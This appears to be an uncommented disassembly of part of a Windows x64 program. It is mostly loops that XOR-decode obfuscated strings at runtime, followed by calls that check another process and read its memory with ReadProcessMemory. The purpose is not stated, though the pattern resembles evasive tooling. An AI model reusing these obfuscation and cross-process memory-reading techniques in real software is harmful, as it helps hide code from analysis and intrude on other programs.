lea rdx, [rbp + 0x268]
lea rcx, [rbp + 0x14]
call fcn.14002a170
mov r10, rax
cmp byte [rax + 7], 0
je 0x14000f461
cmp esi, 2
jl 0x14000f420
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
jmp 0x14000f461
mov r9, r10
mov r8d, edi
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14000f430
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov r14, rax
mov byte [rbp + 0x15], 0
lea rdx, [rbp + 0xba8]
lea rcx, [rbp + 0x15]
call fcn.140029fa0
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x14000f5a0
mov r8d, edi
cmp esi, 2
jl 0x14000f567
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14000f570
mov byte [rbp + 0x16], 0
lea rdx, [rbp + 0xf28]
lea rcx, [rbp + 0x16]
call fcn.140029dd0
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x14000f6e0
mov r8d, edi
cmp esi, 2
jl 0x14000f69c
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14000f6b0
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r14, rax
mov byte [rbp + 0x17], 0
lea rdx, [rbp + 0x1368]
lea rcx, [rbp + 0x17]
call fcn.140029be0
mov rbx, rax
cmp byte [rax + 0xf], 0
je 0x14000f851
cmp esi, 2
jl 0x14000f80f
mov edx, edi
mov rcx, rax
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x14000f730
jmp 0x14000f851
mov r9, rbx
mov r8d, edi
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x14000f820
mov byte [rbp + 0x18], 0
lea rdx, [rbp + 0xbb8]
lea rcx, [rbp + 0x18]
call fcn.140029a10
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x14000ecc1
mov r8d, edi
cmp esi, 2
jl 0x14000f93c
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14000f950
mov rcx, r10
jmp 0x14000fe66
mov byte [rbp + 0x19], 0
lea rdx, [rbp + 0x16c]
lea rcx, [rbp + 0x19]
call fcn.14002a3a0
movzx ecx, byte [rax + 5]
test cl, cl
je 0x14000f9bb
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor cl, 5
mov byte [rax + 5], cl
mov rdx, rax
lea rcx, [rbp + 0x1ac0]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x1ac0]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x1ac0]
call fcn.1400b3040
cmp ebx, 0xd
jne 0x14000fe80
mov byte [rbp + 0x1a], 0
lea rdx, [rbp + 0x768]
lea rcx, [rbp + 0x1a]
call fcn.14002aaa0
mov rbx, rax
movzx eax, byte [rax + 0xa]
test al, al
je 0x14000fa3e
xor byte [rbx + 1], 1
xor byte [rbx + 2], 2
xor byte [rbx + 3], 3
xor byte [rbx + 4], 4
xor byte [rbx + 5], 5
xor byte [rbx + 6], 6
xor byte [rbx + 7], 7
xor byte [rbx + 8], 8
xor byte [rbx + 9], 9
xor al, 0xa
mov byte [rbx + 0xa], al
mov byte [rbp + 0x1b], 0
lea rdx, [rbp + 0xe8]
lea rcx, [rbp + 0x1b]
call fcn.14002aa20
movzx ecx, byte [rax + 2]
test cl, cl
je 0x14000fa64
xor byte [rax + 1], 1
xor cl, 2
mov byte [rax + 2], cl
mov rdx, rbx
mov rcx, rax
call fcn.140003210
mov r14, rax
mov byte [rbp + 0x1c], 0
lea rdx, [rbp + 0xbc8]
lea rcx, [rbp + 0x1c]
call fcn.14002a850
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x14000fba0
mov r8d, edi
cmp esi, 2
jl 0x14000fb6a
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14000fb70
mov byte [rbp + 0x1d], 0
lea rdx, [rbp + 0x1078]
lea rcx, [rbp + 0x1d]
call fcn.14002a680
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x14000fce0
mov r8d, edi
cmp esi, 2
jl 0x14000fc9c
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14000fcb0
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r14, rax
mov byte [rbp + 0x1e], 0
lea rdx, [rbp + 0xbd8]
lea rcx, [rbp + 0x1e]
call fcn.14002a4b0
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x14000fe21
mov r8d, edi
cmp esi, 2
jl 0x14000fde4
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14000fdf0
mov byte [rbp + 0x1f], 0
lea rdx, [rbp + 0x548]
lea rcx, [rbp + 0x1f]
call fcn.14002a420
movzx ecx, byte [rax + 9]
test cl, cl
je 0x14000fe63
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor byte [rax + 8], 8
xor cl, 9
mov byte [rax + 9], cl
mov rcx, rax
mov rdx, rbx
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
nop dword [rax]
mov dword [rbp + 0x1d68], edi
lea rdx, [rbp + 0x1d68]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp dword [rbp + 0x1d68], 0x103
jne 0x140017f6c
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d20], xmm0
movups xmmword [rbp + 0x1d30], xmm0
movups xmmword [rbp + 0x1d40], xmm0
movups xmmword [rbp + 0x1d50], xmm0
mov qword [rsp + 0x20], rdi
mov r9d, 0x40
lea r8, [rbp + 0x1d20]
mov rdx, r12
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rbx, qword [rbp + 0x1d40]
cmp rbx, 0x404040
je 0x140017eff
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
test rbx, rbx
je 0x14000fe80
mov ecx, 0x1400000
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r15, rax
test rax, rax
je 0x140017f6c
xor edx, edx
mov r8d, 0x1400000
mov rcx, rax
call fcn.1400bc546
mov byte [rbp + 0x20], 0
lea rdx, [rbp + 0x1dc]
lea rcx, [rbp + 0x20]
call fcn.14002ab40
movzx ecx, byte [rax + 6]
test cl, cl
je 0x14000ff68
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor cl, 6
mov byte [rax + 6], cl
mov rdx, rax
lea rcx, [rbp + 0x1ae0]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x1ae0]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x1ae0]
call fcn.1400b3040
cmp ebx, 5
jne 0x140010669
mov byte [rbp + 0x21], 0
lea rdx, [rbp + 0x1640]
lea rcx, [rbp + 0x21]
call fcn.14002b400
mov rbx, rax
cmp byte [rax + 0x19], 0
je 0x140010101
mov r8d, edi
cmp esi, 2
jl 0x1400100c7
mov rcx, rax
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14000ffe0
cmp r8d, 0x1a
jge 0x140010101
movsxd r9, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x1400100d0
mov byte [rbp + 0x22], 0
lea rdx, [rbp + 0x1448]
lea rcx, [rbp + 0x22]
call fcn.14002b1f0
mov r10, rax
cmp byte [rax + 0x15], 0
je 0x140010251
mov r8d, edi
cmp esi, 2
jl 0x140010218
mov rcx, rax
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140010131
cmp r8d, 0x16
jge 0x140010251
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x140010220
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov r14, rax
mov byte [rbp + 0x23], 0
lea rdx, [rbp + 0xbe8]
lea rcx, [rbp + 0x23]
call fcn.14002b020
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x140010390
mov r8d, edi
cmp esi, 2
jl 0x140010357
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140010360
mov byte [rbp + 0x24], 0
lea rdx, [rbp + 0x1088]
lea rcx, [rbp + 0x24]
call fcn.14002ae50
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x1400104d0
mov r8d, edi
cmp esi, 2
jl 0x14001048c
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1400104a0
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r14, rax
mov byte [rbp + 0x25], 0
lea rdx, [rbp + 0x778]
lea rcx, [rbp + 0x25]
call fcn.14002adb0
mov rbx, rax
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x140010532
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor byte [rax + 8], 8
xor byte [rax + 9], 9
xor cl, 0xa
mov byte [rax + 0xa], cl
mov byte [rbp + 0x26], 0
lea rdx, [rbp + 0x12a8]
lea rcx, [rbp + 0x26]
call fcn.14002abd0
mov r10, rax
cmp byte [rax + 0xe], 0
je 0x140010661
mov r8d, edi
cmp esi, 2
jl 0x14001061d
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
